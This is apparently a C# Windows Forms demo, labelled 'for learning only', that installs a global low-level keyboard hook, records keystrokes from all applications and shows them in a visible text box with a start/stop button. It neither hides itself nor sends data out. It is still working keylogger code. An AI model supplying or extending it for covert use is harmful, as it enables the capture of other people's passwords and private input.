﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace WinFormsApp1
{
    public partial class KeyLogger : Form
    {
        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

        private LowLevelKeyboardProc _proc;
        private IntPtr _hookID = IntPtr.Zero;
        private TextBox logBox;
        private Button toggleBtn;
        private bool isLogging = false;

        public KeyLogger()
        {
            InitializeForm();
            InitializeComponents();
            _proc = HookCallback;
        }

        private void InitializeForm()
        {
            this.Text = "键盘记录器 (仅用于学习)";
            this.Size = new Size(500, 300);
            this.FormClosing += KeyLoggerForm_FormClosing;
        }

        private void InitializeComponents()
        {
            logBox = new TextBox
            {
                Multiline = true,
                ScrollBars = ScrollBars.Vertical,
                Dock = DockStyle.Fill,
                ReadOnly = true
            };

            toggleBtn = new Button
            {
                Text = "开始记录",
                Dock = DockStyle.Bottom,
                Height = 40
            };
            toggleBtn.Click += ToggleBtn_Click;

            this.Controls.Add(logBox);
            this.Controls.Add(toggleBtn);
        }

        private void ToggleBtn_Click(object sender, EventArgs e)
        {
            if (isLogging)
            {
                Unhook();
                toggleBtn.Text = "开始记录";
                logBox.AppendText("\r\n--- 记录停止 ---\r\n");
            }
            else
            {
                SetHook();
                toggleBtn.Text = "停止记录";
                logBox.AppendText("\r\n--- 记录开始 ---\r\n");
            }
            isLogging = !isLogging;
        }

        private void SetHook()
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                _hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, GetModuleHandle(curModule.ModuleName), 0);
            }
        }

        private void Unhook()
        {
            UnhookWindowsHookEx(_hookID);
        }

        private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                int vkCode = Marshal.ReadInt32(lParam);
                Keys key = (Keys)vkCode;

                if (key == Keys.Space)
                    logBox.AppendText(" ");
                else if (key == Keys.Enter)
                    logBox.AppendText("\r\n");
                else if (key == Keys.Back)
                    logBox.AppendText("[Back]");
                else if (key == Keys.Tab)
                    logBox.AppendText("[Tab]");
                else if (!char.IsControl((char)vkCode))
                    logBox.AppendText(key.ToString());
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }

        private void KeyLoggerForm_FormClosing(object sender, FormClosingEventArgs e)
        {
            if (_hookID != IntPtr.Zero)
                Unhook();
        }

        //[STAThread]
        //static void Main()
        //{
        //    Application.EnableVisualStyles();
        //    Application.SetCompatibleTextRenderingDefault(false);
        //    Application.Run(new KeyLoggerForm());
        //}
    }
}
